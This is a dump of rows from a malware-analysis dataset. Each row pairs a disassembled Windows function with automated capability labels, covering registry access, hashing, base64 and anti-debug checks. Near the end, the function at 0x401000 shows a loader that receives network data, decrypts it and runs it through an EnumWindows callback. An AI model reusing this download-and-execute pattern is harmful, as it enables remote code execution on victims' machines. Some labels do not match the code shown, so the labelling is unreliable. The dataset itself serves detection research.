joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410420
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SOFTWARETencentBugReport
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41048e
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push str.FullDump
push ecx
mov dword [ebp - 0x10], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 4
jne 0x41048e
cmp dword [ebp - 0xc], 1
jne 0x41048e
mov eax, 1
mov esp, ebp
pop ebp
ret
cmp dword [0x420688], 0
jne 0x4104ab
call fcn.004106e0
mov dword [0x420684], eax
mov dword [0x420688], 1
mov eax, dword [0x420684]
mov esp, ebp
pop ebp
ret

Function at 0x4106e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SOFTWARETencent_bugReport
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x410749
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
push 0
push str.bUseInterMod
push ecx
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x10], 4
jne 0x410749
xor eax, eax
cmp dword [ebp - 8], 1
sete al
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x410850
Capabilities:
Hash data with md5
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1088
call fcn.004147b0
mov eax, dword [0x42001c]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push 0x5c
mov edi, ecx
mov dword [ebp - 0x1020], eax
xor eax, eax
lea ecx, [ebp - 0x1084]
push ebx
push ecx
mov dword [ebp - 0x1024], ebx
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov word [ebp - 0xb], ax
mov byte [ebp - 9], al
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x4196f8
push edi
mov dword [ebp - 0x1084], 0x67452301
mov dword [ebp - 0x1080], 0xefcdab89
mov dword [ebp - 0x107c], 0x98badcfe
mov dword [ebp - 0x1078], 0x10325476
mov dword [ebp - 0x1074], ebx
mov dword [ebp - 0x1070], ebx
mov dword [ebp - 0x102c], ebx
call dword [sym.imp.MSVCR80.dll__wfopen]
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x410948
mov edi, dword [sym.imp.MSVCR80.dll_fread]
push esi
push 0x1000
lea edx, [ebp - 0x101c]
push 1
push edx
call edi
add esp, 0x10
cmp eax, ebx
je 0x41093c
push eax
lea eax, [ebp - 0x1084]
push eax
lea eax, [ebp - 0x101c]
call fcn.004138e0
push esi
push 0x1000
lea ecx, [ebp - 0x101c]
push 1
push ecx
call edi
add esp, 0x18
cmp eax, ebx
jne 0x410911
push esi
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 4
jmp 0x410976
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.func
push 0x25a
push str.file
mov ecx, str.GetModuleHashStr_open_file___s__fail_errno__lu_
mov edx, 0x417ce8
mov edi, 2
call fcn.00401a20
add esp, 0x14
lea edx, [ebp - 0x18]
push edx
lea esi, [ebp - 0x1084]
call fcn.00413bb0
mov esi, dword [ebp - 0x1020]
add esp, 4
lea eax, [ebp - 0x18]
push eax
push esi
call fcn.004109b0
mov ecx, dword [ebp - 8]
add esp, 8
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413efc
mov esp, ebp
pop ebp
ret

Function at 0x411820
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
push 5
xor eax, eax
push 0xffffffffffffffff
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x4118a0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x104
jge 0x411872
mov ecx, dword [ebp - 4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, 1
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 4]
push edi
mov ecx, 0x40
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
push edx
mov word [ebx + 0x206], 0
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x412130
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWARETencent_bugReport
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x412186
cmp dword [ebp + 8], 0
je 0x4121ad
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWARETencent_bugReport
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x412186
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push 4
lea edx, [ebp + 8]
push edx
push 4
push 0
push str.FullDump
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x412180
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4121c0
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42001c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x206
lea eax, [ebp - 0x20a]
push 0
push eax
mov edi, ecx
mov dword [ebp - 0x210], 0
mov word [ebp - 0x20c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 1
push 0x1a
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [ebp + eax*2 - 0x20e], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x412244
push 0x4189c0
lea eax, [ebp - 0x20c]
push eax
call esi
push str.TencentQQMiscQQTroubleShoot
lea ecx, [ebp - 0x20c]
push ecx
call esi
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41228c
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x41228c
call fcn.00410750
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00413efc
mov esp, ebp
pop ebp
ret
push 0x4189c0
lea ecx, [ebp - 0x20c]
push ecx
call esi
lea edx, [ebp - 0x20c]
push edx
mov ecx, edi
call dword [sym.imp.Common.dll_public:_void___thiscall_CTXStringW::constructor_wchar_t__]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00413efc
mov esp, ebp
pop ebp
ret

Function at 0x412480
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov eax, dword [edi]
lea ecx, [esp]
push ecx
mov ecx, dword [esp + 0xc]
push esi
add eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x18]
push 0
mov dword [edi], 0
mov edx, dword [ecx]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4124ee
mov eax, dword [esp + 0xc]
cmp eax, 1
je 0x4124bf
cmp eax, 2
jne 0x4124da
test esi, esi
mov eax, dword [esp]
je 0x4124e8
test eax, eax
je 0x4124e3
test al, 1
jne 0x4124da
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x4124e8
mov eax, 0xd
pop ecx
ret 8
mov word [esi], 0
shr eax, 1
mov dword [edi], eax
xor eax, eax
pop ecx
ret 8
Function at 0x412520
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, eax
mov esi, ecx
lea ecx, [edi + 2]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
cmp edx, 0x40000000
jae 0x412657
mov eax, dword [ebp + 0xc]
add edx, edx
add edx, edx
cmp dword [eax], edx
jb 0x412657
cmp edi, 2
mov ecx, dword [ebp + 8]
jbe 0x4125da
lea edx, [edi - 3]
mov eax, 0xaaaaaaab
mul edx
shr edx, 1
add edx, 1
push ebx
lea esp, [esp]
movzx eax, byte [esi]
shr eax, 2
movzx eax, byte [eax + 0x417aa0]
mov byte [ecx], al
movzx eax, byte [esi]
movzx ebx, byte [esi + 1]
and eax, 3
shl eax, 4
shr ebx, 4
movzx eax, byte [eax + ebx + 0x417aa0]
mov byte [ecx + 1], al
movzx eax, byte [esi + 1]
movzx ebx, byte [esi + 2]
add ecx, 1
and eax, 0xf
shr ebx, 6
movzx eax, byte [ebx + eax*4 + 0x417aa0]
add ecx, 1
mov byte [ecx], al
movzx eax, byte [esi + 2]
and eax, 0x3f
movzx eax, byte [eax + 0x417aa0]
add ecx, 1
mov byte [ecx], al
add ecx, 1
add esi, 3
sub edi, 3
sub edx, 1
jne 0x412570
pop ebx
test edi, edi
je 0x412644
movzx edx, byte [esi]
shr edx, 2
mov al, byte [edx + 0x417aa0]
mov byte [ecx], al
add ecx, 1
cmp edi, 1
jbe 0x412624
movzx edx, byte [esi]
movzx eax, byte [esi + 1]
and edx, 3
shl edx, 4
shr eax, 4
movzx edx, byte [edx + eax + 0x417aa0]
mov byte [ecx], dl
movzx eax, byte [esi + 1]
add ecx, 1
and eax, 0xf
movzx edx, byte [eax*4 + 0x417aa0]
mov byte [ecx], dl
jmp 0x41263b
movzx eax, byte [esi]
and eax, 3
shl eax, 4
mov dl, byte [eax + 0x417aa0]
mov byte [ecx], dl
add ecx, 1
mov byte [ecx], 0x3d
add ecx, 1
mov byte [ecx], 0x3d
add ecx, 1
mov edx, dword [ebp + 0xc]
mov eax, ecx
sub eax, dword [ebp + 8]
pop edi
mov dword [edx], eax
mov byte [ecx], 0
xor eax, eax
pop esi
pop ebp
ret
pop edi
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x413d10
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x5c
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call sub.MSVCR80.dll_memset
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x5c]
push edx
mov dword [ebp - 0x5c], 0x67452301
mov dword [ebp - 0x58], 0xefcdab89
mov dword [ebp - 0x54], 0x98badcfe
mov dword [ebp - 0x50], 0x10325476
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 4], esi
call fcn.004138e0
mov eax, dword [ebp + 8]
push eax
lea esi, [ebp - 0x5c]
call fcn.00413bb0
add esp, 0x18
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406eb4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x65d008], 0x8088405
inc edx
mov dword [ebx + 0x65d008], edx
mul edx
mov eax, edx
pop ebx
ret
Function at 0x4239d4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x423a2d
test eax, edx
je 0x423a30
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x4239eb
movzx eax, word [eax]
sub eax, ecx
jmp 0x423a12
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x423a13
add ecx, 4
js 0x423a03
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x423a10
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x423a12
xor eax, eax
ret
test eax, eax
je 0x423a3c
test edx, edx
jne 0x4239dc
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x42c678
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00409df0
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040db14
mov edi, eax
cmp edi, 0x104
jbe 0x42c623
mov eax, edi
add eax, eax
call fcn.00406a4c
mov esi, eax
jmp 0x42c625
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040db14
push esi
call fcn.004137d4
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x42c65e
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x42c648
mov eax, esp
cmp esi, eax
je 0x42c66b
mov eax, esi
call fcn.00406a68
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x42c6a4
cmp bl, 0
je 0x42c6a0
cmp bl, 0x41
jl 0x42c69b
cmp bl, 0x5a
jg 0x42c69b
or bl, 0x20
xor al, bl
inc esi
jmp 0x42c67f
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x42c5e4
Function at 0x4867cc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x4867d4
mov eax, edx
pop esi
pop ebx
ret

Function at 0x4f1858
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4f1a13
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00409d1c
mov eax, dword [ebp - 4]
call fcn.004f11a8
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
jne 0x4f18aa
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 1
call fcn.0040ab18
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.004f24a0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4f1989
xor eax, eax
push ebp
push 0x4f1982
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.004f1448
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0xc]
call fcn.004f1a48
test al, al
je 0x4f1960
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 8]
xor edx, edx
call fcn.00409a7c
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x4f1960
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.0040a694
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00412e08
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.004f13a8
test al, al
je 0x4f195a
mov eax, dword [ebp - 8]
call fcn.0040a694
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.0040a6fc
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc]
call fcn.004f1858
dec ebx
cmp ebx, 0xffffffff
jne 0x4f1909
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f1989
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.004f1448
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00412db8
ret
cmp byte [0x66e4a0], 0
je 0x4f19c9
push 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
and eax, 0x300
push eax
mov eax, dword [ebp - 4]
call fcn.0040a694
push eax
movzx edx, byte [ebp - 0x11]
mov eax, dword [ebp - 0xc]
call fcn.004f1434
push eax
call sub.advapi32.dll_RegDeleteKeyExW
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.004f13a8
mov ebx, eax
jmp 0x4f19f0
mov eax, dword [ebp - 4]
call fcn.0040a694
push eax
movzx edx, byte [ebp - 0x11]
mov eax, dword [ebp - 0xc]
call fcn.004f1434
push eax
call fcn.00412df8
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.004f13a8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f1a1a
lea eax, [ebp - 0x3c]
call fcn.004098f4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00409954
ret

Function at 0x4fb860
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4fb866
ret
Function at 0x5e09cc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
test dl, dl
je 0x5e09e4
add esp, 0xfffffff0
call fcn.004080a0
mov byte [ebp - 9], dl
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x5e0afe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 8]
mov dword [eax + 8], ebx
mov eax, ebx
add eax, eax
add eax, eax
add eax, eax
call fcn.00406a34
mov edx, dword [ebp - 8]
mov dword [edx + 0xc], eax
dec ebx
test ebx, ebx
jl 0x5e0ae8
inc ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
call fcn.00513f04
xor eax, eax
push ebp
push 0x5e0ad5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
call fcn.00513f04
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
lea ebx, [eax + edx*8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov eax, dword [eax + 8]
mov dword [ebx], eax
lea eax, [ebx + 4]
mov edx, dword [ebp - 4]
call fcn.0040a78c
jmp 0x5e0aa6
lea eax, [ebx + 4]
mov ecx, 1
mov edx, 1
call fcn.0040ab18
mov eax, dword [ebx + 4]
call fcn.00409de4
dec eax
jle 0x5e0aba
mov eax, dword [ebx + 4]
cmp word [eax], 0x5f
je 0x5e0a94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5e0adc
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x54]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5e0b05
lea eax, [ebp - 4]
call fcn.0040993c
ret

Function at 0x6069e8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x606ab9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.004098f4
push 0
push 0
push 0x20000003
mov eax, dword [ebx + 4]
mov edx, dword [eax + 0xc]
add edx, 0x30
push edx
mov eax, dword [eax]
push eax
call fcn.005f70a8
mov esi, eax
cmp esi, 1
jl 0x606aa3
mov ecx, esi
add ecx, ecx
mov dl, 1
mov eax, dword [0x5ffd08]
call fcn.005efbb8
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x606a9c
push dword fs:[edx]
mov dword fs:[edx], esp
push esi
mov edx, dword [ebp - 4]
mov edx, dword [edx + 4]
push edx
push 0x20000003
mov eax, dword [ebx + 4]
mov edx, dword [eax + 0xc]
add edx, 0x30
push edx
mov eax, dword [eax]
push eax
call fcn.005f70a8
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.005f0268
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.0040a78c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x606aa3
mov eax, dword [ebp - 4]
call fcn.00407a34
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x606ac0
lea eax, [ebp - 8]
call fcn.0040993c
ret
Function at 0x6386f4
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x6389ca
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x4046e8]
call fcn.0040bc60
add esp, 4
mov eax, dword [ebp - 4]
mov byte [eax], 0xd
mov eax, dword [ebp - 4]
mov byte [eax + 1], 0xa
mov eax, dword [ebp - 4]
mov byte [eax + 2], 0xd
mov eax, dword [ebp - 4]
mov byte [eax + 3], 0xa
push 2
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x4046e8]
call fcn.0040bc60
add esp, 4
mov eax, dword [ebp - 8]
mov byte [eax], 0xa
mov eax, dword [ebp - 8]
mov byte [eax + 1], 0xa
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.004b1700
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [eax + 0xb4], edx
mov eax, dword [ebp - 0x10]
add eax, 0xb8
call fcn.004098f4
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + 0xa8]
mov edx, dword [ebp - 0x10]
mov byte [edx + 0xe8], al
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x40]
mov byte [eax + 0x70], 0
mov edx, dword [eax + 0x30]
mov dword [ebp - 0x30], edx
mov edx, dword [eax + 0x34]
mov dword [ebp - 0x2c], edx
push 0
push 0
push 0
push 0
call fcn.005fbb3c
mov eax, dword [ebp - 0x10]
call fcn.00629c38
cdq
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0x40]
mov dword [ecx + 0x30], eax
mov dword [ecx + 0x34], edx
xor eax, eax
push ebp
push 0x638829
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x40]
mov edx, dword [ebp - 0x18]
mov ecx, dword [eax]
call dword [ecx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x638830
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x40]
mov edx, dword [ebp - 0x30]
mov dword [eax + 0x30], edx
mov edx, dword [ebp - 0x2c]
mov dword [eax + 0x34], edx
ret
Function at 0x401000
Capabilities:
Encode data using xor
Enumerate gui resources

Disassembly:
sub esp, 0x1b0
mov eax, dword [0x4c39f0]
xor eax, esp
mov dword [esp + 0x1ac], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x28]
push eax
push 0x202
call dword [0x44d9a8]
mov ecx, dword [esp + 0x1c4]
mov edx, dword [0x4ad9dc]
lea eax, [edx + ecx - 1]
push eax
mov word [esp + 0x1c], 2
call dword [0x44d9c4]
push str.76Q88Q_8Q:9_
mov word [esp + 0x1e], ax
call dword [0x44d9c8]
push 6
push 1
push 2
mov dword [esp + 0x28], eax
call dword [0x44d9b4]
push 0x10
lea ecx, [esp + 0x1c]
mov edi, eax
push ecx
push edi
call dword [0x44d9b8]
test eax, eax
jne 0x40113f
mov eax, str.hu56s423rfsdg
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401087
push 0
sub eax, edx
push eax
push str.hu56s423rfsdg
push edi
call dword [0x44d9b0]
push 0
push 4
lea edx, [esp + 0x1c]
push edx
push edi
mov dword [esp + 0x24], 0
call dword [0x44d9ac]
mov eax, dword [esp + 0x14]
xor esi, esi
test eax, eax
je 0x4010e0
push 0
sub eax, esi
push eax
lea eax, [esi + 0x44d9d8]
push eax
push edi
call dword [0x44d9ac]
add esi, eax
mov eax, dword [esp + 0x14]
cmp esi, eax
jne 0x4010c3
movsx esi, byte [0x4c4d46]
mov ecx, dword [esi + 0x44d9d8]
mov ebp, dword [0x4ad9dc]
lea edi, [ecx + ebp - 1]
xor eax, eax
test edi, edi
jle 0x401129
mov cl, byte [ebp + 0x4c4d46]
mov dl, byte [ebp + 0x4c4d45]
lea esp, [esp]
mov bl, byte [eax + esi + 0x44d9dc]
sub bl, cl
xor bl, dl
mov byte [eax + esi + 0x44d9dc], bl
add eax, 1
cmp eax, edi
jl 0x401110
lea edx, [esi + ebp + 0x44d9d7]
push edx
lea eax, [esi + ebp + 0x44d9db]
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [esp + 0x1bc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00433ee3
add esp, 0x1b0
ret

Function at 0x4011e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [0x4ad9dc]
lea esi, [edi + 9]
xor eax, eax
test esi, esi
jle 0x401217
mov cl, byte [edi + 0x4c4d46]
mov dl, byte [edi + 0x4c4d45]
mov edi, edi
mov bl, byte [eax + 0x4c4d28]
sub bl, cl
xor bl, dl
mov byte [eax + 0x4c4d28], bl
add eax, 1
cmp eax, esi
jl 0x401200
mov eax, str.76Q88Q_8Q:9_
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401220
sub eax, edx
mov ecx, eax
lea esi, [ecx + edi - 1]
xor eax, eax
test esi, esi
jle 0x40125a
mov cl, byte [edi + 0x4c4d46]
mov dl, byte [edi + 0x4c4d45]
mov bl, byte [eax + str.76Q88Q_8Q:9_]
sub bl, cl
xor bl, dl
mov byte [eax + str.76Q88Q_8Q:9_], bl
add eax, 1
cmp eax, esi
jl 0x401243
push 0x4c4d28
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
ret